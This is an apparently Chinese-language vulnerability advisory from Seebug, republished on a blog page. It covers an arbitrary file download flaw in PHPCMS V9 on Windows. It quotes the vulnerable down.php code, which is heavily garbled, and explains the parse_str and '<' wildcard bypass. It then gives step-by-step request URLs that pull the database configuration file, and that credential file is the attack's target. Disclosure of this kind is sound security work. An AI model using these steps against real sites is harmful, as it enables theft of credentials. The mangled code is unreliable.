phpcms

Seebug

首页
提交漏洞
排行榜
市场
搜索
照妖镜
社区
关于

PHPCMS V9 任意文件下载(Windows)
关注 0

漏洞编号:
SSV-92959

披露/发现时间:
2017-04-14

提交时间:
2017-04-17

漏洞等级:

漏洞类别:
任意文件下载

影响组件:
phpcms
(v9)

漏洞作者:
404安全实验室

提交者:
匿名

CVE-ID:
补充

CNNVD-ID:
补充

CNVD-ID:
补充

ZoomEye Dork:
补充

原创
来源
404安全实验室
漏洞详情
贡献者 积极防御小组 共获得 0KB
一、背景

任意文件下载漏洞和《PHPCMS v9.6.0 wap模块 SQL注入》在同一个文件,只不过触发点在download函数。
二、详情

漏洞文件在phpcms\modules\content\down.php,漏洞触发函数:

public function download() {
ak=trim( a k = t r i m ( _GET[‘a_k’]);
pcauthkey=md5(pcbase::loadconfig(system,authkey). p c a u t h k e y = m d 5 ( p c b a s e :: l o a d c o n f i g ( ′ s y s t e m ′ , ′ a u t h k e y ′ ) . _SERVER[‘HTTP_USER_AGENT’].’down’);
ak=sysauth( a k = s y s a u t h ( a_k, ‘DECODE’, pcauthkey);if(empty( p c a u t h k e y ) ; i f ( e m p t y ( a_k)) showmessage(L(‘illegal_parameters’));
unset( i, i , m, f, f , t, ip);parsestr( i p ) ; p a r s e s t r ( a_k);
if(isset( i)) i ) ) downid = intval( i);if(!isset( i ) ; i f ( ! i s s e t ( m)) showmessage(L(‘illegal_parameters’));
if(!isset( modelid))showmessage(L(illegalparameters));if(empty( m o d e l i d ) ) s h o w m e s s a g e ( L ( ‘ i l l e g a l p a r a m e t e r s ′ ) ) ; i f ( e m p t y ( f)) showmessage(L(‘url_invalid’));
if(! i|| i | | m<0) showmessage(L(‘illegal_parameters’));
if(!isset( t))showmessage(L(illegalparameters));if(!isset( t ) ) s h o w m e s s a g e ( L ( ‘ i l l e g a l p a r a m e t e r s ′ ) ) ; i f ( ! i s s e t ( ip)) showmessage(L(‘illegal_parameters’));
starttime=intval( s t a r t t i m e = i n t v a l ( t);
if(preg_match(‘/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.| )/i, ) / i ′ , f) || strpos( f,":")!==FALSE||strpos( f , ": " ) ! == F A L S E | | s t r p o s ( f,’..’)!==FALSE) showmessage(L(‘url_error’));
fileurl=trim( f i l e u r l = t r i m ( f);
if(! downid||empty( d o w n i d | | e m p t y ( fileurl) || !preg_match(“/[0-9]{10}/”, starttime)||!pregmatch("/[09]1,3\.[09]1,3\.[09]1,3\.[09]1,3/", s t a r t t i m e ) | | ! p r e g m a t c h ( " / [ 0 − 9 ] 1 , 3 \. [ 0 − 9 ] 1 , 3 \. [ 0 − 9 ] 1 , 3 \. [ 0 − 9 ] 1 , 3 / " , ip) || ip!=ip())showmessage(L(illegalparameters)); i p ! = i p ( ) ) s h o w m e s s a g e ( L ( ‘ i l l e g a l p a r a m e t e r s ′ ) ) ; endtime = SYS_TIME - starttime;if( s t a r t t i m e ; i f ( endtime > 3600) showmessage(L(‘url_invalid’));
if( m) m ) fileurl = trim( s).trim( s ) . t r i m ( fileurl);
if(preg_match(‘/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.| )/i, ) / i ′ , fileurl) ) showmessage(L(‘url_error’));
//远程文件
if(strpos(fileurl, ':/') && (strpos( fileurl, ':/') && (strpos( fileurl, pc_base::load_config(‘system’,’upload_url’)) === false)) {
header(“Location: fileurl”);  
        } else {  
            if(
fileurl”);          } else {              if(
d == 0) {
header(“Location: “.fileurl);  
            } else {
fileurl);              } else {
fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), fileurl); f i l e u r l ) ; filename = basename($fileurl);
//处理中文文件
if(preg_match(“/^([\s\S]?)([\x81-\xfe][\x40-\xfe])([\s\S]?)/”, fileurl))$filename=strreplace(array("$filename=urldecode(basename($filename)); f i l e u r l ) ) $ f i l e n a m e = s t r r e p l a c e ( a r r a y ( " $ f i l e n a m e = u r l d e c o d e ( b a s e n a m e ( $ f i l e n a m e ) ) ; ext = fileext( filename); f i l e n a m e ) ; filename = date('Ymd_his').random(3).'.'. ext;filedown( e x t ; f i l e d o w n ( fileurl, $filename);
}
}
}

这个函数用于下载文件,其基本流程是:从外部获取a_k参数 -> 解密a_k字符串 -> parse_str注册变量,假设我们可以控制a_k参数,那么就可以将我们的payload带入,实现任意文件下载。(上文中后续代码会对下载文件的后缀进行检测,在Windows下可以通过”<”符号来匹配文件,例如index.php可以使用index.ph<来完成绕过)

然后再看同一文件里的init函数的最后几行,

    if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
    if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
        $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
        $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
        $downurl = '?m=content&c=down&a=download&a_k='.$a_k;
    } else {
        $downurl = $f;            
    }
    include template('content','download');

可以看到这里通过将多个变量拼接后加密生成了变量$a_k并作为下载链接返回到了客户端,所以我们需要再想办法控制这些变量。看该函数的头几行:

public function init() {
    $a_k = trim($_GET['a_k']);
    if(!isset($a_k)) showmessage(L('illegal_parameters'));
    $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
    if(empty($a_k)) showmessage(L('illegal_parameters'));
    unset($i,$m,$f);
    parse_str($a_k);

这些变量的值还是来自外部的a_k参数,然后解密并由parse_str注册而成。这里就回到了《PHPCMS v9.6.0 wap模块 SQL注入》漏洞的触发处。但是我们这里我们并不要sql注入,而是让程序继续往下执行完成文件下载功能。之前的步骤可参考《PHPCMS v9.6.0 wap模块 SQL注入》,在此略过。
三、验证

step 1: 通过访问wap模块拿到加密后的cookie

127.0.0.1/index.php?m=wap&c=index&siteid=1

step 2: 将上面得到的加密cookie作为userid_flash的值,并带上payload访问swfupload_json函数

URL:  127.0.0.1/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3D1%26m%3D1%26f%3Dcaches%2fconfigs%2fdatabase.ph%253C%26modelid%3D1%26catid%3D1%26s%3D%26i%3D1%26d%3D1%26
POST: userid_flash=3254G0WHf0Ezjn-F0XeGWGKAFzbQIG74zvdPJNuj

其中payload是经过url编码的,解码后为:

127.0.0.1/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=1&m=1&f=caches/configs/database.ph%3C&modelid=1&catid=1&s=&i=1&d=1&

step 3: 将上面得到的加密cookie作为参数a_k的值再访问init函数

127.0.0.1/index.php?m=content&c=down&a_k=6f01j0SKUOgHPwRUwo6buVR4uKU5RZKWguMoCL58JF9yD_B57-gpUqzVCPhzbnoULuANgKs7vHf437EIG24Qu07ExowlP1C99QVpP4aQ-19rFRbDE6OsOifqnBnoCjyxn-D2oZ9Ey0ec7BjM5TkJjweVmKnXtM2iSIkyu5jdyMndQ8YL8SE

step 4: 直接点击页面中的下载链接,即可下载。

共 0 兑换了
PoC (pocsuite 插件)
贡献者 gfghfgh 共获得 2KB
兑换查看PoC
需要:1 KB
1.3kB 可用 | 匿名

shouzhang RickGray 共 2 兑换
参考链接

https://www.seebug.org

漏洞状态

2017/04/17    漏洞已提交,审核通过

解决方案
临时解决方案

暂无临时解决方案
官方解决方案

暂无官方解决方案
防护方案

暂无防护方案

RickGray 兑换PoC
shouzhang 兑换PoC

生命线

404安全实验室
2017-04-14 发现/披露了漏洞
Root Root
2017-04-17 提交了漏洞
Root Root
2017-04-17 提交补充了漏洞详情
gfghfgh gfghfgh
2017-05-16 提交更新了 PoC

相关漏洞

phpcms9.6.3后台存储型xss
PHPCMS v9.6.2任意文件读取漏洞
PHPCMS V9 全版本反射型XSS
PHPCMS V9 任意文件下载(Windows)
PHPCMS 注册页面任意文件上传漏洞
PHPCMS v9 wap模块 SQL注入
PHPCMS 'phpcms\modules\member\index.php '存在任意密码重置漏洞
PHPCMS V9 版本后台设计缺陷导致任意代码执行漏洞
PHPCMS /phpcms/modules/video/video_for_ck.php SQL注入
phpcms后台低权限任意命令执行

关注 0 人气 1634
0
匿名回复
暂无评论

※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
漏洞库

漏洞列表
组件分类
漏洞分类

更多

悬赏列表
照妖镜
排行榜

帮助

关于
相关说明
漏洞定义
奖励计划

联系我们

010-57076191
s1@seebug.org
北京市 朝阳区 阜安西路 望京SOHO中心 T3-A座-15层

关注我们

京公网安备 11010502034562号 Copyright @ 404 Team from Knownsec. English

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值